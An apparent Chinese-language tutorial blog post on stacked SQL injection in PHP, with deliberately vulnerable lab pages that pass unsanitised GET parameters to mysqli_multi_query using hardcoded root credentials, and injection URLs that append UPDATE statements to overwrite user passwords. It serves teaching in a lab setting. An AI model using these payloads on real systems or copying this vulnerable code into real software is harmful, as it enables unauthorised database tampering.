sql堆叠注入

准备知识:

  • php中multi_query():一次可以执行多个sql语句
  • 比如:查询注入id=1;update xxx;

定义:如果后端代码中,数据库执行的方法是multi_query(),那么就可以一次执行多个sql,也就可以支持堆叠注入了。

准备靶场:

php 复制代码
<?php

$id=$_GET['id'];

$conn=mysqli_connect("192.168.190.133", "root", "123456", "crm",3306);
mysqli_query($conn, "set name utf8");

$sql="insert into userinfo(id) values($id)";
$res=mysqli_multi_query($conn, $sql) or die(mysqli_error($conn));
if($res){
    echo "yes";
}else{
    echo "no";
};
?>

验证:

准备sql注入:

ini 复制代码
http://192.168.190.133/wh067/08-sqli/demo1.php?id=2;update userinfo set password = '123' where id=2;

结果:

如果是更新注入类型:insert

靶场:

php 复制代码
<?php

$id=$_GET['id'];

$conn=mysqli_connect("192.168.190.133", "root", "123456", "crm",3306);
mysqli_query($conn, "set name utf8");

// $sql="select * from userinfo where id=$id";
$sql="insert into userinfo(id) values($id)";
$res=mysqli_multi_query($conn, $sql) or die(mysqli_error($conn));
if($res){
    echo "yes";
}else{
    echo "no";
};
?>

注入sql

ini 复制代码
http://192.168.190.133/wh067/08-sqli/demo1.php?id=11);update userinfo set password = '666' where id=2;-- -)

如果是更新注入类型:update

靶场:

php 复制代码
<?php

$id=$_GET['id'];
$account=$_GET['account'];

$conn=mysqli_connect("192.168.190.133", "root", "123456", "crm",3306);
mysqli_query($conn, "set name utf8");

// $sql="select * from userinfo where id=$id";
// $sql="insert into userinfo(id) values($id)";
$sql="update userinfo set account='$account' where id=$id";

$res=mysqli_multi_query($conn, $sql) or die(mysqli_error($conn));
if($res){
    echo "yes";
}else{
    echo "no";
};
?>
相关推荐
阿猿收手吧!1 分钟前
【Redis】Redis入门以及什么是分布式系统{Redis引入+分布式系统介绍}
数据库·redis·缓存
奈葵4 分钟前
Spring Boot/MVC
java·数据库·spring boot
leegong2311113 分钟前
Oracle、PostgreSQL该学哪一个?
数据库·postgresql·oracle
中东大鹅18 分钟前
MongoDB基本操作
数据库·分布式·mongodb·hbase
夜光小兔纸40 分钟前
Oracle 普通用户连接hang住处理方法
运维·数据库·oracle
兩尛2 小时前
订单状态定时处理、来单提醒和客户催单(day10)
java·前端·数据库
web2u2 小时前
MySQL 中如何进行 SQL 调优?
java·数据库·后端·sql·mysql·缓存
Elastic 中国社区官方博客3 小时前
使用 Elasticsearch 导航检索增强生成图表
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
小金的学习笔记3 小时前
RedisTemplate和Redisson的使用和区别
数据库·redis·缓存
新知图书4 小时前
MySQL用户授权、收回权限与查看权限
数据库·mysql·安全